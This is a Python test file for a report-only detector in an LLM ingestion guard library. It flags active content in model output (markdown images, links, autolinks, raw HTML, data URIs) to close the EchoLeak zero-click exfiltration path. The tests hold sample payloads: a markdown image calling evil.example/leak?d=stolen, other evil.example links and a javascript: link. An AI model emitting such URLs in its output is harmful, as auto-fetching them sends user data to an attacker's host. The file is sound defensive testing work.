"""Tests for the report-only active-content detector (review 2026-07, Session A). ``scan_active_content`` closes the EchoLeak wiring hole (CVE-2025-32711): the active-content classes ``neutralize`` can defang — markdown images/links, reference-link definitions, angle-bracket autolinks, raw active HTML, ``data:`` URIs — must also surface as *findings* on the standard gate, so ``screen_output`` and ``okf.import_bundle`` dispose of them instead of admitting them silently (OWASP LLM05 — Improper Output Handling). Report-only twin of ``neutralize`` (design principles 3 & 4): it never mutates, and severities mirror the defanger's (image / raw-html / data-uri HIGH, links MEDIUM). One deliberate divergence: markdown images/links are flagged only when the URL is absolute or protocol-relative — a relative in-document link carries no exfiltration affordance, and flagging it would silently over-block legitimate wiki content (design principle 5: over-blocking is a failure mode). """ from __future__ import annotations from llm_ingestion_guard import ( scan_active_content, scan_output, screen_output, Disposition, PRESET_USER_UPLOAD, ) from llm_ingestion_guard.okf import import_bundle, Origin, Channel from llm_ingestion_guard.report import Severity, Source # The zero-click EchoLeak primitive: an auto-fetched markdown image URL. _ECHOLEAK = "![x](https://evil.example/leak?d=stolen)" # --- the wiring hole the review proved (Probe 1/1b/2) ------------------------ def test_markdown_image_is_reported(): report = scan_active_content(_ECHOLEAK) img = [f for f in report.findings if f.label == "active:markdown-image"] assert len(img) == 1 assert img[0].severity is Severity.HIGH assert img[0].detector == "active_content" assert img[0].owasp == "LLM05" def test_scan_output_includes_active_content(): labels = {f.label for f in scan_output(_ECHOLEAK).findings} assert "active:markdown-image" in labels def test_screen_output_reports_echoleak(): # Review Probe 1: this was WARN with findings=[] — the unsafe admit. decision = screen_output(_ECHOLEAK, PRESET_USER_UPLOAD) assert decision.disposition is not Disposition.WARN, decision def test_okf_import_flags_body_echoleak(): # Review Probe 2: the same payload in an OKF concept body was ADMITted. bundle = {"note.md": "---\ntype: table\n---\n" + _ECHOLEAK + "\n"} result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC) assert result.disposition is not Disposition.WARN, result # --- each active-content class surfaces as a finding ------------------------- def test_inline_link_is_reported_medium(): report = scan_active_content("click [here](https://evil.example/go) now") link = [f for f in report.findings if f.label == "active:markdown-link"] assert len(link) == 1 assert link[0].severity is Severity.MEDIUM def test_reference_link_definition_is_reported(): text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak" labels = {f.label for f in scan_active_content(text).findings} assert "active:reference-link" in labels def test_autolink_is_reported(): report = scan_active_content("read more here") assert any(f.label == "active:autolink" for f in report.findings) def test_raw_active_html_is_reported(): report = scan_active_content('') html = [f for f in report.findings if f.label == "active:raw-html"] assert len(html) == 1 assert html[0].severity is Severity.HIGH def test_data_uri_is_reported(): report = scan_active_content("open data:text/html;base64,PHNjcmlwdD4= please") data = [f for f in report.findings if f.label == "active:data-uri"] assert len(data) == 1 assert data[0].severity is Severity.HIGH # --- false-positive guards: no exfil affordance -> no finding ---------------- def test_relative_link_is_not_flagged(): # The OKF cross-link case: in-bundle links are the format's core mechanism. report = scan_active_content("See [orders](/tables/orders.md) and [notes](./notes.md).") assert report.found is False def test_relative_image_is_not_flagged(): report = scan_active_content("![diagram](images/arch.png)") assert report.found is False def test_protocol_relative_url_is_flagged(): # `//evil.example` resolves against the rendering host's scheme — external. report = scan_active_content("[x](//evil.example/leak)") assert any(f.label == "active:markdown-link" for f in report.findings) def test_dangerous_scheme_link_is_flagged(): report = scan_active_content("[x](javascript:alert(1))") assert any(f.label == "active:markdown-link" for f in report.findings) def test_clean_prose_has_no_findings(): text = ("A perfectly ordinary wiki paragraph. Costs $5! See section [1] below " "(really). if a < b and c > d then see [note]. the metadata: field.") assert scan_active_content(text).found is False def test_benign_formatting_html_is_not_flagged(): report = scan_active_content("This is strong and emph text.") assert report.found is False # --- counting and evidence hygiene ------------------------------------------- def test_image_is_not_double_counted_as_link(): labels = {f.label for f in scan_active_content("![alt](https://evil.example/x)").findings} assert "active:markdown-image" in labels assert "active:markdown-link" not in labels def test_autolink_is_not_double_counted_as_html(): # `` also parses as an HTML tag with a URL attribute; the # autolink pass must consume it first (mirrors neutralize's pass order). report = scan_active_content("") labels = [f.label for f in report.findings] assert labels.count("active:autolink") == 1 assert "active:raw-html" not in labels def test_multiple_images_are_counted(): report = scan_active_content("![a](https://x.example/1) ![b](https://y.example/2)") img = [f for f in report.findings if f.label == "active:markdown-image"][0] assert img.count == 2 def test_evidence_never_carries_a_fetchable_url(): # Evidence is defanged (hxxps / bracketed dots): the report must be safe to # log and render without recreating the auto-fetch affordance it flagged. for payload in (_ECHOLEAK, ''): for f in scan_active_content(payload).findings: assert "https://" not in (f.evidence or ""), (f.label, f.evidence) def test_default_source_is_output_and_override_respected(): assert all(f.source is Source.OUTPUT for f in scan_active_content(_ECHOLEAK).findings) assert all(f.source is Source.INPUT for f in scan_active_content(_ECHOLEAK, source=Source.INPUT).findings)